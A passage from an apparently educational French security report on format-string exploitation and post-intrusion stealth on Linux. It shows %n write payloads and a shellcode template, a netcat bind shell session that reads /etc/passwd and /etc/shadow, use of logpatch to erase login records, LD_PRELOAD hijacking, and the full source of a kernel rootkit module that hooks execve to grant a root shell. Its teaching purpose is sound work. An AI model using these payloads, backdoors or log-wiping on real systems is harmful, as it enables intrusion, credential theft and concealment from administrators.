facilement identifiable par des outils automatisés. Elle a cependant représenté l’une des plus grandes
menaces lors de sa publication et de son utilisation sur plusieurs programmes vulnérables largement
répandus.
Avant de voir la réalisation d’une telle attaque, faisons un rappel sur les fonctions de formatage en C.
2.4.1 Les fonctions de formatage
Les fonctions de formatage en C servent principalement à transformer des types C en chaîne de
caractères. Les plus répandues sont celles de la famille *printf (printf, sprintf, vprintf, …),
mais aussi setproctitle, syslog, err*, warn*, …
Toutes ses fonctions ont le même prototype : un premier argument sous la forme d’une chaîne de
caractères (appelée la chaîne de format, qui indique comment les données doivent être converties) et
un ou plusieurs arguments contenant les données. On a par exemple :
printf("Nombre total : %d\n", 10);
Ici, la chaîne est "Nombre total : %d\n" où ‘%d’ est un paramètre de format qui sera remplacé
lors de l’affichage par l’argument 10.
Voici une liste non exhaustive de certains paramètres de format :
Paramètre
Sortie
Type attendu
Passé par
%d
Entier signé
Int
Valeur
%u
Entier non signé
Unsigned int
Valeur
%x
Héxadécimal
Unsigned int
Valeur
%s
Chaîne de caractères
(const) (unsigned) char *
Référence
%n
Nombre d’octets déjà écrits
* int
Référence
Le caractère ‘\’ permet d’échapper certains caractères spéciaux. Ainsi le ‘\n’ dans l’exemple sera
interprété lors de l’affichage par un retour à la ligne. Cette interprétation n’est pas faîte par la fonction
de formatage (printf ici) mais par le compilateur lors de la compilation. Ainsi l’exemple précédent
peut aussi s’écrire :
printf("Nombre total : \x25d\n", 10);
21
Le compilateur remplacera à la compilation la valeur ‘\x25’ par ‘%’ car 0x25 (37) est la valeur
ASCII du caractère ‘%’.
Mais comment sont interprétées ces chaînes en mémoire ?
En réalité, les paramètres requis par la chaîne de format sont stockés dans la pile puis récupérés par
la fonction.
Prenons l’exemple suivant :
printf("Number %d has no address, number %d has : %08x\n", i, a, &a);
A l’intérieur de la fonction printf la pile ressemble à :
haut de la pile
bas de la pile
adresse de la
chaîne de format
...
valeur de la
variable i
valeur de la
variable a
adresse de la
variable a
...
Figure 5 - Etat de la pile dans la fonction printf
Ainsi, la fonction printf dépile l’adresse de la chaîne de format pour la lire, puis récupère chacun
des paramètres en le dépilant lorsqu’elle rencontre un caractère ‘%’ dans son analyse (en le formatant
de façon adéquate).
2.4.2 Les vulnérabilités
2.4.2.1
Introduction
Elles peuvent se présenter sous deux types différents :
•
L’erreur réside dans le second paramètre de la fonction syslog. Ce paramètre est en partie
fourni par l’utilisateur :
char tmpbuf[512];
snprintf(tmpbuf, sizeof(tmpbuf), "foo : %s", user);
tmpbuf[sizeof(tmpbuf) – 1] = '\0';
syslog(LOG_NOTICE, tmpbuf);
•
Un paramètre fourni, même partiellement, par l’utilisateur est directement passé à une fonction de
formatage :
int Error(char *fmt, ...);
int someotherfunc(char *user)
{
...
22
Error(user);
...
}
Les vulnérabilités du premier type sont assez facilement détectables par un outil automatisé, mais les
secondes supposent que l’on puisse paramétrer cet outil pour qu’il reconnaisse la fonction Error
comme une fonction de formatage.
Le but d’un pirate est donc d’arriver à fournir une chaîne de format spéciale. Regardons ce que nous
pouvons contrôler grâce à cela.
2.4.2.2
Plantage d’un programme
Tout d’abord, une attaque très simple peut être le plantage d’un processus, aussi bien en local sur
une machine, qu’à distance grâce au réseau. Dans un cas, l’obtention du coredump1 pourra nous
fournir des informations utiles, dans l’autre en paralysant par exemple un serveur DNS on pourra
usurper facilement une identité.
L’utilisation des format strings permet de lire des zones mémoires et en particuliers des zones non
valides. Une telle format string ressemble à :
printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s");
En effet, comme aucun paramètre n’est fourni, la fonction printf va dépiler les éléments présents
sur la pile et on risque d’accéder à une illegal address.
De plus, la plupart des implémentations offrent le paramètre ‘%n’ qui peut être utilisé pour écrire dans
des zones interdites.
2.4.2.3
Voir la mémoire
On peut également visualiser certains éléments présents sur la pile en utilisant le mécanisme
précédent :
printf("%08x.%08x.%08x.%08x.%08x\n");
L’option de formatage ‘%08x’ correspond à l’affichage d’un entier (4 octets) sous la forme d’un
nombre hexadécimal de 8 digits contenant éventuellement des zéros :
40138340.bffff8a8.08048246.40048c60.40138340
Ainsi on obtient des informations souvent intéressantes sur le flot d’exécution d’un programme, de ses
variables, … qui vont pouvoir être exploitées pour trouver les offsets nécessaires à une attaque.
1
Lors de l’arrêt brutal d’un programme (du à un plantage ou à la réception d’un signal SIGSEGV), celui génère un fichier
coredump fournissant diverses informations et une copie de la mémoire (le dump) facilitant ainsi le débogage.
23
Dans l’exemple précédent on lisait seulement les éléments du haut de la pile lors de l’appel de
printf. Cependant on peut aussi voir n’importe quel endroit de la mémoire. Pour cela, il faut
parvenir à indiquer à printf l’adresse à partir de laquelle on désire lire. Le paramètre ‘%s’ peut nous
aider à réaliser cela puisqu’il lit à partir d’une adresse fournie. Le problème restant est de savoir
comment placer cette adresse sur la pile (et au bon endroit !) pour que, lors de l’analyse de la chaîne
de format et de la rencontre avec ‘%s’, la fonction de formatage lise les données à partir de cette
adresse. Heureusement, la plupart du temps, notre chaîne de formatage se trouve sur la pile. On peut
ainsi y écrire directement l’adresse à partir de laquelle on souhaite lire.
C’est ce que fait le programme suivant (les ‘%08x’ servent à déplacer le pointeur de pile pour pointer
sur le début de notre chaîne de format; leur nombre est dépendant de la machine) :
#include <stdio.h>
int main(void)
{
char text[] = "\x35\xf9\xff\xbf_%08x.%08x.%08x|%s|\n";
printf();
}
Ici, l’adresse à partir de laquelle on souhaite lire est : 0xbffff935.
2.4.2.4
Ecrire dans la mémoire
Pour réussir l’exploitation d’une faille il faut pouvoir écrire des données en mémoire qui vont ensuite
être exécutées. Il existe deux types possibles : celui ressemblant aux débordements de tampon
standards et ceux recourrant seulement aux chaînes de format.
Débordement de tampon standard
Le code suivant apparaissait dans certains programmes vulnérables :
{
char outbuf[512];
char buffer[512];
sprintf(buffer, "ERR Wrong command: %400s", user);
sprintf(outbuf, buffer);
}
Bien sûr, ce genre de code n’est pas aussi visible la plupart du temps et se trouve dissimulé parmi
plusieurs lignes de code. Le ‘%400s’ signifie que la fonction utilisera au maximum seulement 400
caractères de user. A priori un débordement de tampon standard ne peut contourner cet artifice.
Heureusement une chaîne de format malicieuse va pouvoir y parvenir :
"%497d\x3c\d3\xff\xbf<nops><shellcode>"
24
Cette chaîne est similaire aux chaînes utilisées lors des buffer overflows classiques, mis à part le
début : ‘%497d’. Explication : lors d’un débordement « normal » on écrase l’adresse de retour d’une
fonction par une adresse pointant quelque part dans les <nops>. Dans notre cas, on crée une chaîne
de 497 caractères dont la taille, ajoutée à la longueur de "ERR Wrong command: ", dépasse les
tableaux buffer et outbuf de 4 octets. Puisque le deuxième sprintf ne vérifie pas la longueur on
peut écraser l’adresse de retour par 0xbfffd33c. Le déroulement est alors le même que lors d’un
buffer overflow banal.
Exploitation uniquement via format string
Maintenant étudions le cas de l’utilisation pure d’une chaîne de format. Le code suivant se retrouve
dans wu-ftpd 2.6.0 qui a été l’un des programmes les plus sévèrement touchés par les format strings :
{
char buffer[512];
snprintf(buffer, sizeof(buffer), user);
buffer[sizeof(buffer) – 1] = '\0';
}
Ici aussi, a priori, le code n’est pas vulnérable. L’utilisation de snprintf nous empêche d’agrandir le
tableau, on pourrait éventuellement essayer de faire planter le programme ou d’examiner la mémoire.
Mais souvenons nous des paramètres possibles des chaînes de format :il existe ‘%n’ qui écrit le
nombre de caractères déjà écrits dans une variable de notre choix. Cette variable est indiquée en
plaçant son adresse sur la pile.
int i;
printf("foobar%n\n", &i);
printf("i = %d\n", i);
Le programme précédent renverra « i = 6 » car nous avons écrit 6 caractères (foobar).
En utilisant la méthode du 2.4.2.3 qui nous permettait de lire la mémoire à n’importe quel endroit de
la mémoire nous pouvons écrire là où bon nous semble :
"\x35\xf9\xff\xbf_%08x.%08x.%08x.%n"
Cette chaîne écrira à l’adresse 0xbffff935 un entier représentant le nombre de caractères écrits.
Nous avons réussi à écrire à une adresse précise de la mémoire, mais encore nous reste-t-il à
contrôler le chiffre que nous écrivons !
25
Ce nombre, écrit grâce à ‘%n’, est dépendant de la chaîne de format elle-même. Puisque nous la
contrôlons, nous pouvons écrire le nombre désiré :
int a;
printf("%10u%n", 2600, &a);
/* a == 10 */
int a;
printf("%150u%n", 2600, &a);
/* a == 150 */
En utilisant le paramètre ‘%nu’, nous arrivons à contrôler un peu le chiffre écrit par ‘%n’. Mais ce n’est
pas suffisant pour arriver à écrire de grands nombres tels que des adresses.
Les entiers sur une architecture x86 est stocké en mémoire sous la forme de 4 octets, les bits de poids
faible étant les premiers en mémoire (notation little indian). Le nombre 0x0000014c est donc stocké
sous la forme "\x4c\x01\x00\x00".
unsigned char foo[4];
printf("%64u%n", 2600, foo);
Ce programme va écrire 64 ('\x40') dans foo[0]. Pour une adresse, stockée sur quatre octets, si
nous ne pouvons écrire les 4 octets en une fois essayons en plusieurs fois, c’est-à-dire :
unsigned char canary[5];
unsigned char foo[4];
memset(foo, '\x00', sizeof(foo));
/* 0 * before */ strcpy(canary, "AAAA");
/*
/*
/*
/*
1
2
3
4
*/
*/
*/
*/
printf("%16u%n", 2600, &foo[0]);
printf("%32u%n", 2600, &foo[1]);
printf("%64u%n", 2600, &foo[2]);
printf("%128u%n", 2600, &foo[3]);
/* 5 * after */ printf("%02x%02x%02x%02x\n", foo[0], foo[1], foo[2],
foo[3]);
printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2],
canary[3]);
A l’exécution nous avons « 10204080 » et « canary: 00000041 ». Nous avons donc réussi à écrire
quatre octets mais nous en avons également écrasé trois. En effet, en déplaçant notre pointeur,
comme nous écrivons un entier à chaque fois (soit quatre octets), nous touchons inévitablement les
données adjacentes (canary en l’occurrence). La figure suivante résume les cinq étapes :
26
0
00 00 00 00
41 41 41 41 00
1
10 00 00 00
41 41 41 41 00
2
10 20 00 00
00 41 41 41 00
3
10 20 40 00
00 00 41 41 00
4
10 20 40 80
00 00 00 41 00
5
10 20 40 80
00 00 00 41 00
Figure 6 - Les quatre étapes pour écrire une adresse
On peut également écrire les quatre octets en une seule chaîne de format :
unsigned char canary[5];
unsigned char foo[4];
memset(foo, '\x00', sizeof(foo));
strcpy(canary, "AAAA");
printf("%16u%n%16u%n%32u%n%64u%n",
1, &foo[0], 1, &foo[1], 1, &foo[2], 1, &foo[3]);
printf("%02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]);
printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2],
canary[3]);
Le résultat obtenu est le même que précédemment, mais dans ce programme les options de
formatages (‘%nu’) ont changé. En effet, nous écrivons une seule chaîne de caractères, donc, lorsque
nous voulons écrire 32, seize caractères ont déjà été écrits, il suffit donc d’augmenter le total de
caractères écrits de 16, puis de 32 et enfin de 64.
Nous avons réussi à écrire 10 20 40 80 mais nous aurions tout aussi bien pu écrire 80 40 20 10 avec
seulement une petite modification. Puisque nous écrivons des entiers et que seuls les bits de poids
faible sont importants, on aurait pu utiliser les compteurs 0x80, 0x140, 0x220 et 0x320.
Pour un exploit, il faut donc injecter une chaîne de format du type :
<stackpop><4 paires d’entiers et d’adresses><write-code>
avec :
•
stackpop : une séquence de paramètres pour dépiler la pile et faire déplacer le pointeur de pile
vers le début de nos 4 paires d’entiers et d’adresses.
27
•
4 paires d’entiers et d’adresses : ils représentent les arguments à la fonction printf (ou
équivalent). Chaque adresse augmente de un par rapport à la précédente. Les entiers sont
quelconques, pourvu qu’ils ne contiennent pas d’octet(s) nul(s).
•
write-code : c’est la partie de la chaîne de format qui va être en charge de l’écriture dans la
mémoire en utilisant des paires ‘%nu%n’, où n est plus grand que 10.
2.4.3 Protection
Les attaques de type format string utilisent l’exécution de shellcode ou de return-into-libc. Les
défenses sont donc les mêmes que pour les stack ou heap overflows et, comme nous l’avons dit
précédemment, seul le patch grsecurity peut réussir à empêcher leur succès.
En amont, les développeurs doivent faire preuve de vigilance lors de l’écriture de leur code. Des outils
existent pour se prémunir contre de telles erreurs de programmation. Citons pscan
(http://www.striker.ottawa.on.ca/~aland/pscan/) qui effectue une analyse lexicale du source afin de
débusquer des trous de sécurité dus aux chaînes de format.
Une autre approche est développée dans [24]. En effet, les auteurs se basent non plus sur une
analyse syntaxique mais sur un moteur d’inférences sur les types des variables basé sur des
contraintes. Ainsi, une variable déclarée comme « tachée » (tainted) pourra éventuellement poser des
problèmes et sera tracée à l’intérieur du programme afin de découvrir si, oui ou non, elle constitue un
risque. Cette méthode s’applique aux format strings, mais peut s’étendre à d’autres vulnérabilités.
28
3 La furtivité système
3.1
Attaque
Après la réussite de son intrusion, le pirate doit masquer ses traces. Elles sont de plusieurs sortes : sa
présence au niveau système, les logiciels qu’il a installés (sniffers, des chevaux de Troie1, …), mais
aussi les paramètres et connexions réseau (dans le cas des backdoors2, par exemple).
Comment y parvient il ?
Il existe pour cela plusieurs outils, souvent très spécifiques et disponibles assez facilement sur
Internet.
3.1.1 L’épuration des fichiers de logs
Cette étape est sûrement l’une des plus importantes car c’est grâce aux fichiers de logs qu’un
administrateur peut réussir à identifier la compromission d’une de ses machines. En effet, ils
constituent les données de base analysées quotidiennement par tout administrateur consciencieux.
Souvent, des scripts effectuent un premier traitement afin d’extraire seulement les informations les
plus significatives.
Face à la somme d’informations pouvant être enregistrée de cette manière, on utilise généralement
des fichiers distincts pour sauvegarder des informations spécifiques (par exemple, ceux du serveur
web, ceux du serveur ftp, ceux du système, etc.). Le pirate doit donc être vigilant et n’oublier aucun
fichier afin de rester totalement furtif au sein d’un système.
Par exemple, s’il a obtenu un accès grâce à un buffer overflow d’un serveur ftp, et que toutes les
transactions sont enregistrées, des lignes étranges vont apparaître dans le fichier de log et attirer
l’attention de l’administrateur.
Pour savoir où est stocké chaque message, il suffit de regarder le fichier /etc/syslog.conf. Celuici indique vers quels fichiers sont renvoyés certains messages. Mais il faut aussi savoir où sont stockés
ceux des autres applications attaquées, le serveur web par exemple.
# Log all kernel messages to the console
# Logging much else clutters up to the screen
#kern.*
/dev/console
# Log anything (except mail) of level info or higher
# Don't log private authentication messages!
*.info;mail.none;authpriv.none
/var/log/messages
# The authpriv file has restricted access.
authpriv.*
/var/log/secure
# Log all the mail messages in one place
mail.*
/var/log/maillog
# Everybody gets emergency messages, plus log them on another
# machine.
*.emerg
*
# Save mail and news errors of level err and higher in a
# special file.
uucp,news.crit
/var/log/spooler
1
2
Un cheval de Troie (trojan) est un programme furtif et malicieux installé par le pirate et ayant divers utilisations (cf. 3.1.2).
Une backdoor permet l’accès à distance du pirate sur une machine « corrompue » (cf. 3.1.2).
29
La plupart des fichiers sont au format texte et ne demande donc pas d’application particulière afin de
les modifier. Un bon éditeur (vi ou emacs, selon ses convictions personnelles) suffit souvent.
Mais parfois il faut recourir à des petits utilitaires (pouvant être programmés très facilement, ou
disponibles sur Internet) lorsque se présentent des fichiers binaires. C’est par exemple le cas du
fichier wtmp utilisé par la commande who.
Regardons les possibilités offertes par le logiciel logpatch :
[root@sam root]# ./logpatch
logpatch v1.0 by Ighighi
Usage: logzap mode options
mode:
u[x]
-utmp/utmpx
w[x]
-wtmp/wtmpx
l
-lastlog
options:
-u [user][:new_user]
Patch/wipe entries with user `user'. `new_user' ignored in lastlog
mode
[-l [tty][:new_tty]]
Patch/wipe entries with tty `tty'. Ignored in lastlog mode
[-h [host][:new_host]]
Patch/wipe entries with host `host'.
[-d YYYY[:MM[:DD[:hh[:mm[:ss[:uuuuuu]]]]]]]
Patch entry's time (with microsecond resolution)
Default: previous entry's time (u[x]), next's (w[x]), zero (l)
[-f file]
Specify the file to use instead of the default
[-n nentries]
Only u[x] & w[x]
u[x]: Process the first n entries. Def: -1 (all entries)
w[x]: Process the last n entries. Def: 1 (last entry)
[-t]
Truncate entries at EOF. Only w[x]
example: hide all root entries from www.microsoft.com in wtmpx
./logpatch wx -u root -h www.microsoft.com -n -1 -t
Il permet donc de modifier les entrées des fichiers wtmp, utmp et lastlog. Il peut remplacer les
dates, effacer les connexions depuis un hôte précis (utile dans le cas d'usurpation d'un compte...), etc.
Pour le premier exemple, on va simplement effacer un utilisateur de wtmp :
[root@sam root]# who ./wtmp
arno
:0
Aug 1 09:35
lolo
pts/8
Aug 1 16:33 (vador.starwars.net)
arno
:0
Aug 2 09:57
arno
:0
Aug 5 15:42
arno
:0
Aug 6 14:16
arno
:0
Aug 19 10:26
arno
:0
Aug 22 10:46
arno
:0
Aug 23 11:15
arno
:0
Aug 26 15:12
arno
:0
Aug 26 16:20
arno
:0
Aug 26 16:27
30
arno
:0
Aug 27 11:31
arno
:0
Aug 28 15:00
arno
:0
Aug 28 15:38
arno
:0
Aug 28 15:43
[root@sam root]# ./logpatch w -u arno -f ./wtmp -n -1
Opening ./wtmp ...
Reading... patched patched patched patched patched patched patched patched
patched patched patched patched patched patched ok.
[root@sam root]# who ./wtmp
lolo
pts/8
Aug 1 16:33 (vador.starwars.net)
Ensuite, un exemple de changement de date avec lastlog :
[root@sam root]# lastlog
Username
Port
From
Latest
arno
:0
mer aoû 28
lolo
pts/8
vador.starwars.n jeu aoû 1
[root@sam root]# ./logpatch l -u arno -d 1999:05:20
Opening ./lastlog ...
Reading... patched ok.
[root@sam root]# lastlog
arno
jeu mai 20
lolo
pts/8
vador.starwars.n jeu aoû 1
15:43:36 +0200 2002
16:33:20 +0200 2002
01:00:00 +0200 1999
16:33:20 +0200 2002
Si le pirate utilise un compte utilisateur, il doit également penser à effacer l’historique des commandes
qu’il a frappées. Pour le shell bash, par exemple, elles sont stockées dans le fichier
$HOME/.bash_history. Ici aussi, son éditeur favori est sa meilleure arme !
3.1.2 La pose d’un cheval de Troie
Comme il a été dit précédemment un cheval de Troie peut avoir différents objectifs. Il est souvent
utiliser pour créer une porte dérobée au pirate afin de lui donner un accès distant (une backdoor).
La backdoor la plus primaire est l’utilisation de la commande netcat :
•
On le lance en écoute sur la machine qui va servir de serveur :
[root@sam root]# nc -l -p 666 -e /bin/sh
•
Puis sur la machine qui sert de client on se connecte au serveur :
arno@vador ~ % nc sam 666
id
uid=0(root) gid=0(root)
groupes=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
31
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
nobody:x:65534:65534:Nobody:/home:/bin/sh
arno:x:502:502:Arnaud:/home/arno:/bin/zsh
lolo:x:503:503:Laurent:/home/lolo:/bin/bash
cat /etc/shadow
root:$1$FIGVEAe4$YXoUTssZI3xs9AK79/w2o0:11810:0:99999:7:::
bin:*:11810:0:99999:7:::
daemon:*:11810:0:99999:7:::
adm:*:11810:0:99999:7:::
sync:*:11810:0:99999:7:::
shutdown:*:11810:0:99999:7:::
halt:*:11810:0:99999:7:::
mail:*:11810:0:99999:7:::
uucp:*:11810:0:99999:7:::
operator:*:11810:0:99999:7:::
nobody:*:11810:0:99999:7:::
arno:$1$Kx3At//2$x8LqYOWhwNzq.CmnbzsYV.:11810:0:99999:7:::
lolo:$1$Eh8KOeX7$Jvq858By4jsM83MDFD06O.:11810:0:99999:7:::
Les commandes entrées sont en gras.
D’autres logiciels plus complexes et furtifs sont disponibles sur Internet. Ils offrent par exemple des
moyens cryptographiques, de l’échange de données, l’utilisation d’un protocole autre que TCP (UDP,
ICMP, ARP peuvent facilement être utilisés par des backdoors, et sont souvent très peu filtrés par les
pare-feu), etc…
Il peut également remplacer une commande existante et permettre d’avoir un accès facilement. Ainsi,
le programme login constitue une cible de choix. Un pirate peut programmer une nouvelle version
l’autorisant, s’il rentre le bon nom d’utilisateur et le bon mot de passe, à avoir un accès administrateur
invisible. Il fera en sorte que son programme soit presque identique au précédent, en ayant la même
taille et la même date de création, rendant difficile son identification.
Mais un cheval de Troie peut avoir une tout autre utilité : il peut notamment servir à enregistrer les
touches frappées sur le système (localement ou à distance). On parle alors de keylogger. Les effets
d’un tel programme peuvent être dévastateurs : révélation des mots de passe, des comptes
utilisateurs, des habitudes des utilisateurs, …
Dans le dernier exemplaire du magazine électronique phrack [15], un keylogger innovant et efficace a
été publié : vlogger. C’est un module noyau1 que l’on charge en mémoire et qui enregistre dans un
répertoire les fichiers correspondants aux commandes entrées :
[root@sam log]# cat pts0
<28/08/2002-15:27:18 uid=0 bash> rmmod vlogger
[root@sam log]# cat pts1
<28/08/2002-15:26:09 uid=502 zsh> ls
<28/08/2002-15:26:12 uid=502 zsh> su <28/08/2002-15:26:15 uid=502 su> password
<28/08/2002-15:26:28 uid=0 bash> cat /etc/passwd
1
Pour une défintion précise voir 3.1.3.3
32
On voit donc que sur le pseudo terminal pts1 une personne s’est identifié en super utilisateur (su -)
et a tapé son mot de passe : password.
3.1.3 L’installation d’un rootkit
Les rootkits sont de plusieurs sortes. Ils vont du simple remplacement des commandes de bases (ls,
netstat, ps, …) à des versions plus élaborées sous la forme de modules noyaux.
3.1.3.1
Les rootkits simples
Le remplacement des commandes de base a été le premier véritable et élémentaire rootkit. Il consiste
simplement à substituer à certains fichiers des versions servant à dissimuler non seulement la
présence du pirate, mais aussi ses fichiers, des connexions réseau, à introduire des chevaux de Troie,
… Seule l’imagination du pirate pose une restriction aux possibilités offertes.
Le plus célèbre de ce type de rootkit sous Linux est le Linux Root-Kit (lrk) de Lord Somer. Une
petite énumération de ses possibilités est indispensable :
33
Objectif
Programmes
Description
Dissimuler les fichiers
ls, find, locate,
xargs, du
ps, top, pidof
Dissimuler les processus
netstat
Dissimuler les connexions réseau
killall
Empêcher la fin des processus du pirate
ifconfig
Dissimuler le mode promiscuous (typique des
snifers) d’une interface réseau
crontab
Dissimuler les tâches
tcpd
Empêcher le log de certaines connexions
syslogd
Empêcher le log de certains processus
chfn
Ouverture d’un shell lorsque le mot de passe
du rootkit est entré comme nom d’utilisateur
passwd
Ouverture d’un shell lorsque le pirate précise
le mot de passe du rootkit
Dissimulation
Backdoors
Quel que soit le nom d’utilisateur, si le mot
de passe est celui du rootkit, connexion avec
ce nom d’utilisateur
su, login
Installation d’un shell root à l’écoute sur un
port. Le mot de passe du rootkit doit être
fourni
inetd
Démons offrant un
accès à distance
rshd
Exécute la commande en tant que root si
l’utilisateur est le mot de passe du rootkit
sshd
Fonctionne comme login
Installe le programme corrompu en
conservant le timestamp et le checksum de
l’original
fix
linsniffer
Capture les paquets pour récupérer les mots
de passe
sniffchk
Vérification du fonctionnement du sniffer
wted
Permet l’édition du fichier wmtp
z2
Efface les entrées non désirées dans wtmp,
utmp et lastlog
Utilitaires
Tableau 1 - Fonctionnalités du Linux Root-Kit
34
Le mot de passe par défaut est satori. Ce rootkit est donc l’un de plus puissants et des plus riches
fournissant une panoplie complète répondant aux attentes de n’importe quel pirate. Mais il est de
moins en moins utilisé car il n’a pas été mis à jour depuis un certain temps et ne reflète donc plus le
comportement exact des commandes actuelles. De plus, des outils très simples et répandus
permettent une identification rapide de ce genre de compromission (cf. 3.3.2).
3.1.3.2
Utilisation des bibliothèques dynamiques
Un des talons d’Achille des systèmes d’exploitation actuels est l’utilisation de bibliothèques
dynamiques. Celles-ci permettent de partager du code entre différentes applications afin de simplifier
le code et de réduire la taille des exécutables. Mais, grâce à cette particularité le pirate peut très
simplement remplacer le fonctionnement d’un grand nombre de commandes. En effet, il lui suffit
maintenant de modifier une bibliothèque dynamique en lieu et place de plusieurs programmes.
Pour mieux comprendre, étudions un exemple : au lieu de remplacer directement une bibliothèque
nous allons utiliser la variable d’environnement LD_PRELOAD qui indiquera une bibliothèque
dynamique à charger avant le lancement d’un programme.
Notre programme de test est :
#include <stdio.h>
void
test()
{
printf("coucou\n");
}
int
main(void)
{
test();
return 0;
}
Nous allons remplacer la fonction printf() par une autre de notre choix. L’exécution simple est
triviale :
arno@valium:~/test/ld_preload$ gcc -o test test.c
arno@valium:~/test/ld_preload$ ./test
coucou
arno@valium:~/test/ld_preload$
Voici le programme qui va nous aider à remplacer la fonction printf() :
#include <stdio.h>
void
printf()
{
35
fprintf(stdout, "hack\n");
}
Il ne reste plus qu’à le compiler et à définir la variable LD_PRELOAD :
arno@valium:~/test/ld_preload$
hack.c:4: warning: conflicting
arno@valium:~/test/ld_preload$
arno@valium:~/test/ld_preload$
arno@valium:~/test/ld_preload$
hack
arno@valium:~/test/ld_preload$
gcc -c hack.c
types for built-in function `printf'
ld -shared -o hack.so hack.o
export LD_PRELOAD=./hack.so
./test
Pour confirmer que notre bibliothèque est chargée avant les autres on utilise ldd :
arno@valium:~/test/ld_preload$ ldd ./test
./hack.so => ./hack.so (0x40013000)
libc.so.6 => /lib/i686/libc.so.6 (0x40020000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
arno@valium:~/test/ld_preload$
En réinitialisant LD_PRELOAD on retrouve le fonctionnement normal :
arno@valium:~/test/ld_preload$ export LD_PRELOAD=
arno@valium:~/test/ld_preload$ ./test
coucou
arno@valium:~/test/ld_preload$ ldd ./test
libc.so.6 => /lib/i686/libc.so.6 (0x4001e000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
arno@valium:~/test/ld_preload$
Ici la modification est sans danger mais si on touche à une bibliothèque plus critique un pirate pourra
obtenir des résultats très intéressants.
3.1.3.3
Les Linux Kernel Rootkits
Ce sont ces rootkits qui sont à l’heure actuelle les plus répandus et les plus efficaces. Ils sont très
difficilement repérables et offrent des possibilités de dissimulation très élevées.
Comment fonctionnent ils ?
A l’origine les modules pour le noyau (Loadable Kernel Modules – LKM) sont chargés dynamiquement
en mémoire afin d’augmenter les possibilités d’un noyau en fonctionnement. Il n’est alors plus
nécessaire de recompiler son noyau pour ajouter des fonctionnalités. Il existe donc des utilitaires pour
charger et retirer ces modules à souhait, réduisant par là même la taille du noyau chargé en mémoire
initialement. Beaucoup d’Unix les utilisent : Linux, Solaris, FreeBSD pour ne citer que les plus
répandus.
36
Au lieu d’utiliser ces modules pour charger en mémoire des pilotes pour des périphériques, des
personnes mal intentionnées peuvent les utiliser pour prendre possession du système dans son
intégralité. On peut alors détourner les appels système (system calls) et les faire réagir différemment
de leur comportement normal.
Afin de bien comprendre comment fonctionne un tel rootkit, nous allons regarder le code écrit par
Frédéric Raynal et publié dans [1]. Ce petit module fait office de backdoor : il suffit à l’utilisateur
d’exécuter la commande /etc/passwd. Vous aurez remarqué que c’est un fichier mais non un
exécutable : ce sera notre module qui, en interceptant l’appel système sys_execve(), nous donnera
un shell root.
#define MODULE
#define __KERNEL__
#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif
#include
#include
#include
#include
#include
<linux/config.h>
<linux/stddef.h>
<linux/module.h>
<linux/kernel.h>
<linux/mm.h>
#include <sys/syscall.h>
#include <linux/smp_lock.h>
#if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE
#include <linux/slab.h>
#endif
int (*old_execve) (struct pt_regs);
extern void *sys_call_table[];
#define ROOTSHELL "[rootshell] "
char magic_cmd[] = "/bin/sh";
int new_execve(struct pt_regs regs)
{
int error;
char *filename , *new_exe = NULL;
char hacked_cmd[] = "/etc/passwd";
lock_kernel();
filename = getname((char *) regs.ebx);
printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename,
current->uid, current->euid, current->suid, current->fsuid,
current->gid, current->egid, current->sgid, current->fsgid);
error = PTR_ERR(filename);
if (IS_ERR(filename))
goto out;
if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd)) == 0) {
37
printk(ROOTSHELL " Got it :)))\n");
current->uid = current->euid = current->suid = current->fsuid = 0;
current->gid = current->egid = current->sgid = current->fsgid = 0;
cap_t(current->cap_effective)
= ~0;
cap_t(current->cap_inheritable) = ~0;
cap_t(current->cap_permitted)
= ~0;
new_exe = magic_cmd;
} else
new_exe = filename;
error = do_execve(new_exe, (char **) regs.ecx, (char **) regs.edx,
&regs);
if (error == 0)
#ifdef PT_TRACE
/* 2.2 vs 2.4 */
current->ptrace &= ~PT_DTRACE;
#else
current->flags &= ~PF_DTRACE;
#endif
putname(filename);
out:
unlock_kernel();
return error;
}
int init_module(void)
{
lock_kernel();
printk(ROOTSHELL "Loaded :)\n");
#define REPLACE(x) old_##x = sys_call_table[__NR_##x];
sys_call_table[__NR_##x] = new_##x
\
REPLACE(execve);
unlock_kernel();
return 0;
}
void cleanup_module(void)
{
#define RESTORE(x) sys_call_table[__NR_##x] = old_##x
RESTORE(execve);
printk(ROOTSHELL "Unloaded :(\n");
}
Quelques explications du code s’imposent : un module de noyau doit obligatoirement avoir deux
fonctions :
•
init_module() : c’est la fonction qui est appelée lors du chargement du noyau en mémoire.
Elle se charge ici de remplacer l’appel système sys_execve(). Pour cela, on change dans la
table recensant les adresses de chaque appel système (sys_call_table[]) l’adresse de
sys_execve() par l’adresse de notre fonction new_execve().
38
•
cleanup_module() : cette fonction est appelée lorsque le module est retiré du noyau. Ici, elle
sert simplement à restaurer l’adresse de l’appel sys_execve() originel.
Quant à notre fonction new_execve(), elle compare le nom du fichier exécuté avec une commande
prédéfinie (ici : hacked_cmd[] = "/etc/passwd"). Lorsque celle-ci est repérée, on change les
permissions pour devenir root, puis on exécute notre magic_cmd avec ces permissions.
Voyons le rootkit en fonctionnement :
•
On le charge d’abord en mémoire :
[root@sam rootshell]# insmod rootshell.o
Warning: loading rootshell.o will taint the kernel: no license
[root@sam rootshell]# lsmod
Module
Size Used by
Tainted: P
rootshell
1132
0 (unused)
i810
68280
1
agpgart
31552
7 (autoclean)
parport_pc
22088
1 (autoclean)
lp
6464
